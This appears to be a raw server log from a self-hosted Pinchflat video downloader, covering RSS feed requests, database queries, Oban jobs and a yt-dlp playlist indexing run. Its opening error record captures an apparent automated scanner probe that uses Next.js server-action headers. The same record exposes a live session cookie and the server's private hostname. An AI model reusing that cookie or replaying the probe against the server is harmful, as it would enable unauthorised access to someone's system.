~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.14515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 39070}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYZlN3WHpVNE1CNFFSWXVsalYyaHk1SWN5.jki9QBLoccUU_fibgd6Q3_QUUaQg18ZTK7CXE-vkEO8", "host" => "pinchflat-server.tail1d371e.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965" }, method: "POST", body_length: 753, path_info: :undefined, qs: "", streamid: 3, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Route (truncated) 19:29:29.762 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:59.764 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.800 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:29.767 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:59.769 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.417 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:31:00.417 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:31:00.418 [debug] QUERY OK source="sources" db=0.5ms idle=939.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:31:00.420 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=940.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:31:00.423 [debug] QUERY OK source="source_metadata" db=0.3ms queue=0.3ms idle=943.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:31:00.424 [debug] QUERY OK source="media_metadata" db=0.7ms idle=653.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:31:00.425 [info] Sent 200 in 7ms 19:31:00.803 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:29.771 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:58.553 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 19:31:59.774 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.804 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:29.777 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:58.561 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:32:59.780 [info] {"source":"oban","duration":1891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.807 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:22.359 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:33:22.359 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:33:22.364 [debug] QUERY OK source="sources" db=2.6ms queue=0.1ms idle=1025.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:33:22.368 [debug] QUERY OK source="media_items" db=2.5ms queue=0.2ms idle=886.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:33:22.370 [debug] QUERY OK source="source_metadata" db=0.4ms idle=891.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:33:22.372 [debug] QUERY OK source="media_metadata" db=1.0ms queue=0.2ms idle=892.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:33:22.385 [info] Sent 200 in 26ms 19:33:29.782 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:59.785 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.808 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:29.787 [info] {"source":"oban","duration":1716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:59.790 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.810 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:20.115 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:35:20.115 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:35:20.117 [debug] QUERY OK source="sources" db=1.8ms queue=0.1ms idle=1490.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:35:20.120 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=639.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:35:20.121 [debug] QUERY OK source="source_metadata" db=0.7ms idle=642.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:35:20.122 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=643.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:35:20.123 [info] Sent 200 in 8ms 19:35:29.793 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:59.796 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.812 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:29.798 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:59.800 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.814 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:29.802 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:59.804 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.816 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:06.012 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:38:06.012 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:38:06.014 [debug] QUERY OK source="sources" db=1.1ms idle=1534.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:38:06.016 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=996.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:38:06.018 [debug] QUERY OK source="source_metadata" db=1.5ms idle=538.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:38:06.020 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.2ms idle=540.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:38:06.021 [info] Sent 200 in 8ms 19:38:29.806 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:59.808 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.818 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:23.218 [info] {"args":{"id":1},"id":93,"meta":{},"system_time":1768073963218047728,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:39:23.219 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1740.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:39:23.221 [debug] QUERY OK source="settings" db=0.8ms queue=0.6ms idle=1013.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:23.223 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=744.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:39:23.225 [debug] QUERY OK source="media_items" db=0.6ms queue=0.5ms idle=13.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 19:39:23.226 [debug] QUERY OK source="media_profiles" db=0.8ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:39:23.248 [debug] QUERY OK source="settings" db=0.6ms queue=0.4ms idle=27.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:23.250 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:39:23.251 [debug] Current batch of media processed. Will check again in 1000ms 19:39:23.252 [debug] QUERY OK source="settings" db=1.5ms queue=0.2ms idle=29.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:23.253 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=29.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:23.254 [debug] QUERY OK source="settings" db=0.6ms idle=28.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:39:23.255 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/bb/62/bb62bb0d5371e134d1dcb20abd195e2a174d9e08bf264960b98ad2e890dd4cb9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:39:24.252 [debug] Current batch of media processed. Will check again in 1000ms 19:39:25.286 [debug] Current batch of media processed. Will check again in 1000ms 19:39:26.287 [debug] Current batch of media processed. Will check again in 1000ms 19:39:27.288 [debug] Current batch of media processed. Will check again in 1000ms 19:39:28.289 [debug] Current batch of media processed. Will check again in 1000ms 19:39:29.290 [debug] Current batch of media processed. Will check again in 1000ms 19:39:29.852 [info] {"source":"oban","duration":42352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:30.291 [debug] Current batch of media processed. Will check again in 1000ms 19:39:31.292 [debug] Current batch of media processed. Will check again in 1000ms 19:39:32.294 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 19:39:32.313 [debug] QUERY OK source="sources" db=17.0ms queue=0.2ms idle=1817.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:39:32.375 [debug] QUERY OK source="sources" db=28.6ms queue=1.2ms idle=1836.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:39:32.603 [debug] QUERY OK source="media_items" db=99.1ms queue=0.5ms idle=2025.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 19:39:32.629 [debug] QUERY OK source="media_items" db=23.2ms queue=0.1ms idle=291.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "d5f6fa1d-dbc5-4e70-83f5-b1508a962850", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 19:39:32Z], ~U[2026-01-10 19:39:32Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 19:39:32.632 [debug] QUERY OK source="sources" db=1.9ms queue=1.0ms idle=284.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:39:32.661 [debug] QUERY OK source="media_profiles" db=27.7ms queue=0.3ms idle=129.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", 